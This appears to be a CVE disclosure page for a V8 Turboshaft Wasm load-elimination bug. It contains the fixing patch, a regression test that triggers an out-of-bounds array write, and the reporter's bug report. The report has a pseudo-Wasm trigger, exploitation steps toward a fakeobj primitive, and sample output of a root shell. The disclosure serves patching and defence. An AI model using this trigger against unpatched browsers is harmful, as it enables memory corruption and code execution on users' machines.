CVE-2026-7899
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/compiler/turboshaft/wasm-load-elimination-reducer.h |
modified |
Files Changed
src/compiler/turboshaft/wasm-load-elimination-reducer.htest/mjsunit/regress/wasm/regress-505481948.js
Patch
From bb38f8914db99bd3bed6758132b104a9af00ca04 Mon Sep 17 00:00:00 2001 From: Jakob Kummerow <[email protected]> Date: Thu, 23 Apr 2026 15:49:16 +0200 Subject: [PATCH] [wasm][turboshaft] Fix Phi handling in Wasm Load Elimination When a Phi is later found to not have all-identical inputs after all, we must unset its replacement. Fixed: 505481948 Change-Id: Ic9d405db231f30859f4e0f8831b2db5c76bdd622 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7789282 Auto-Submit: Jakob Kummerow <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Jakob Kummerow <[email protected]> Cr-Commit-Position: refs/heads/main@{#106779} --- diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h index 95f6833..a7ccbff 100644 --- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h +++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h @@ -995,6 +995,8 @@ } if (same_inputs) { replacements_[op_idx] = first; + } else { + replacements_[op_idx] = OpIndex::Invalid(); } } } diff --git a/test/mjsunit/regress/wasm/regress-505481948.js b/test/mjsunit/regress/wasm/regress-505481948.js new file mode 100644 index 0000000..50acc24c --- /dev/null +++ b/test/mjsunit/regress/wasm/regress-505481948.js @@ -0,0 +1,108 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --nowasm-loop-unrolling --nowasm-loop-peeling + +d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js") + +const builder = new WasmModuleBuilder(); + +const arr = builder.addArray(kWasmI32, { final: true }); +const holder = builder.addStruct([makeField(wasmRefType(arr), true)]); + +const bigLen = 8; +const smallLen = 1; +const victimInit = 0x12345678; +const expandedVictimLen = 0x40; + +const gVictim = builder.addGlobal(wasmRefNullType(arr), true); +const gHolder = builder.addGlobal(wasmRefNullType(holder), true); + +builder.addFunction('expand_victim_length', makeSig([], [])) + .addLocals(wasmRefType(holder), 1) + .addLocals(wasmRefType(arr), 3) + .addLocals(kWasmI32, 1) + .addBody([ + kExprI32Const, bigLen, + kGCPrefix, kExprArrayNewDefault, arr, + kExprLocalSet, 1, + + kExprI32Const, smallLen, + kGCPrefix, kExprArrayNewDefault, arr, + kExprLocalSet, 2, + + kExprI32Const, smallLen, + kGCPrefix, kExprArrayNewDefault, arr, + kExprLocalSet, 3, + + kExprLocalGet, 3, + kExprI32Const, 0, + ...wasmI32Const(victimInit), + kGCPrefix, kExprArraySet, arr, + + kExprLocalGet, 1, + kGCPrefix, kExprStructNew, holder, + kExprLocalSet, 0, + + kExprLocalGet, 3, + kExprGlobalSet, gVictim.index, + kExprLocalGet, 0, + kExprGlobalSet, gHolder.index, + + kExprI32Const, 2, + kExprLocalSet, 4, + + kExprLoop, kWasmVoid, + kExprLocalGet, 4, + kExprI32Const, 2, + kExprI32Eq, + kExprIf, kWasmRef, arr, + kExprLocalGet, 1, + kExprElse, + kExprLocalGet, 0, + kGCPrefix, kExprStructGet, holder, 0, + kExprEnd, + kExprI32Const, 3, + kExprI32Const, expandedVictimLen, + kGCPrefix, kExprArraySet, arr, + + kExprLocalGet, 0, + kExprLocalGet, 2, + kGCPrefix, kExprStructSet, holder, 0, + + kExprLocalGet, 4, + kExprI32Const, 1, + kExprI32Sub, + kExprLocalTee, 4, + kExprBrIf, 0, + kExprEnd, + ]) + .exportFunc(); + +builder.addFunction('victim_write', kSig_v_ii) + .addBody([ + kExprGlobalGet, gVictim.index, + kExprLocalGet, 0, + kExprLocalGet, 1, + kGCPrefix, kExprArraySet, arr, + ]) + .exportFunc(); + +builder.addFunction('get_holder', kSig_r_v) + .addBody([ + kExprGlobalGet, gHolder.index, + kGCPrefix, kExprStructGet, holder, 0, + kGCPrefix, kExprExternConvertAny, + ]) + .exportFunc(); + +const instance = builder.instantiate({}); +const wasm = instance.exports; + +assertTraps(kTrapArrayOutOfBounds, () => { + wasm.expand_victim_length() + let addr = 0x10000001; + wasm.victim_write(3, addr); + wasm.get_holder(); +});
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-505481948.js b/test/mjsunit/regress/wasm/regress-505481948.js
new file mode 100644
index 0000000..50acc24c
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-505481948.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --nowasm-loop-unrolling --nowasm-loop-peeling
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js")
+
+const builder = new WasmModuleBuilder();
+
+const arr = builder.addArray(kWasmI32, { final: true });
+const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
+
+const bigLen = 8;
+const smallLen = 1;
+const victimInit = 0x12345678;
+const expandedVictimLen = 0x40;
+
+const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
+const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
+
+builder.addFunction('expand_victim_length', makeSig([], []))
+ .addLocals(wasmRefType(holder), 1)
+ .addLocals(wasmRefType(arr), 3)
+ .addLocals(kWasmI32, 1)
+ .addBody([
+ kExprI32Const, bigLen,
+ kGCPrefix, kExprArrayNewDefault, arr,
+ kExprLocalSet, 1,
+
+ kExprI32Const, smallLen,
+ kGCPrefix, kExprArrayNewDefault, arr,
+ kExprLocalSet, 2,
+
+ kExprI32Const, smallLen,
+ kGCPrefix, kExprArrayNewDefault, arr,
+ kExprLocalSet, 3,
+
+ kExprLocalGet, 3,
+ kExprI32Const, 0,
+ ...wasmI32Const(victimInit),
+ kGCPrefix, kExprArraySet, arr,
+
+ kExprLocalGet, 1,
+ kGCPrefix, kExprStructNew, holder,
+ kExprLocalSet, 0,
+
+ kExprLocalGet, 3,
+ kExprGlobalSet, gVictim.index,
+ kExprLocalGet, 0,
+ kExprGlobalSet, gHolder.index,
+
+ kExprI32Const, 2,
+ kExprLocalSet, 4,
+
+ kExprLoop, kWasmVoid,
+ kExprLocalGet, 4,
+ kExprI32Const, 2,
+ kExprI32Eq,
+ kExprIf, kWasmRef, arr,
+ kExprLocalGet, 1,
+ kExprElse,
+ kExprLocalGet, 0,
+ kGCPrefix, kExprStructGet, holder, 0,
+ kExprEnd,
+ kExprI32Const, 3,
+ kExprI32Const, expandedVictimLen,
+ kGCPrefix, kExprArraySet, arr,
+
+ kExprLocalGet, 0,
+ kExprLocalGet, 2,
+ kGCPrefix, kExprStructSet, holder, 0,
+
+ kExprLocalGet, 4,
+ kExprI32Const, 1,
+ kExprI32Sub,
+ kExprLocalTee, 4,
+ kExprBrIf, 0,
+ kExprEnd,
+ ])
+ .exportFunc();
+
+builder.addFunction('victim_write', kSig_v_ii)
+ .addBody([
+ kExprGlobalGet, gVictim.index,
+ kExprLocalGet, 0,
+ kExprLocalGet, 1,
+ kGCPrefix, kExprArraySet, arr,
+ ])
+ .exportFunc();
+
+builder.addFunction('get_holder', kSig_r_v)
+ .addBody([
+ kExprGlobalGet, gHolder.index,
+ kGCPrefix, kExprStructGet, holder, 0,
+ kGCPrefix, kExprExternConvertAny,
+ ])
+ .exportFunc();
+
+const instance = builder.instantiate({});
+const wasm = instance.exports;
+
+assertTraps(kTrapArrayOutOfBounds, () => {
+ wasm.expand_victim_length()
+ let addr = 0x10000001;
+ wasm.victim_write(3, addr);
+ wasm.get_holder();
+});
Original Bug Report
Turboshaft: stale `PhiOp` replacement for Wasm arrays causes `array.len` bounds bypass and out-of-bounds array read/write
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
Turboshaft: stale PhiOp replacement for Wasm arrays causes array.len bounds bypass and out-of-bounds array read/write
src/compiler/turboshaft/wasm-load-elimination-reducer.h keeps a stale replacement for PhiOp across loop revisits:
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
// ...
if (inputs.size() > 0) {
bool same_inputs = true;
OpIndex first = memory_.ResolveBase(inputs.first());
for (const OpIndex& input : inputs.SubVectorFrom(1)) {
if (memory_.ResolveBase(input) != first) {
same_inputs = false;
break;
}
}
if (same_inputs) {
replacements_[op_idx] = first;
}
}
}
When all phi inputs currently resolve to the same base, ProcessPhi records replacements_[op_idx] = first. The bug is that it never clears replacements_[op_idx] when a later loop revisit makes same_inputs false. Other handlers in the same reducer do clear stale replacement state on the non-eliminated path. For example, both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:
replacements_[op_idx] = OpIndex::Invalid();
That asymmetry makes phi replacements sticky even after the merged loop state has changed.
We will explain the exploitability in details in next section.
VERSION
V8 Version: 3d73043a08a4fc2234c973646656c9e35245b87f (Wed Apr 22 12:22:48 2026 +0800)
Exploit
We can craft:
- A large array
bigand a small arraysmall. - A mutable struct field initially containing
big. - A loop containing an
ifwhose merge result is eitherbigorstruct.get holder.field0. - A later
struct.set holder.field0 = smallon the loop backedge. - An
array.lenorarray.get/array.seton the merged array value in the next iteration.
In pseudo-Wasm:
(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))
(func (param $n i32) (result i32)
(local $h (ref $holder))
(local $big (ref $arr))
(local $small (ref $arr))
(local $i i32)
(local $sum i32)
i32.const 8
array.new_default $arr
local.set $big
i32.const 1
array.new_default $arr
local.set $small
local.get $big
struct.new $holder
local.set $h
local.get $n
local.set $i
loop
local.get $i
local.get $n
i32.eq
if (result (ref $arr))
local.get $big
else
local.get $h
struct.get $holder 0
end
array.len
local.get $sum
i32.add
local.set $sum
local.get $h
local.get $small
struct.set $holder 0
local.get $i
i32.const 1
i32.sub
local.tee $i
br_if 0
end
local.get $sum)
WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array’s length, and WasmLoadEliminationAnalyzer::ProcessArrayLength later reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...)
- Before the loop,
holder.field0is known to bebig, so the first-passStructGet(holder, 0)is eliminated tobig. - The
ifmerge phi therefore has inputs(big, big)on the first pass, andProcessPhirecordsreplacements_[phi] = big. - The backedge
StructSet(holder, 0, small)changes the tracked field frombigtosmall, so the loop is revisited. - On the revisit,
StructGet(holder, 0)is no longer eliminated from the merged snapshot andProcessStructGetclears its own replacement. - The phi is now merging
(big, StructGet(holder, 0)), so it is no longer equal-input.ProcessPhileaves the oldreplacements_[phi] = bigintact. ProcessArrayLengthstill resolves the phi tobig, soarray.lenkeeps returning8even on iterations where the runtime array issmalland its true length is1.
With that we can have the initial out-of-bounds access primitive, then we can corrupt the length of an array or simply write to another field to bootstrap fakeobj primitive.
getshell.js is attached.
Note that we inlined the wasm builder for easy reproduction with clusterfuzz
Please scroll down to check the real exploit part
Compile with args.gn:
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
Please run with:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
expected output:
./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3#
Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.
Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: Arbitrary memory access
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Project WhatForLunch (@pjwhatforlunch)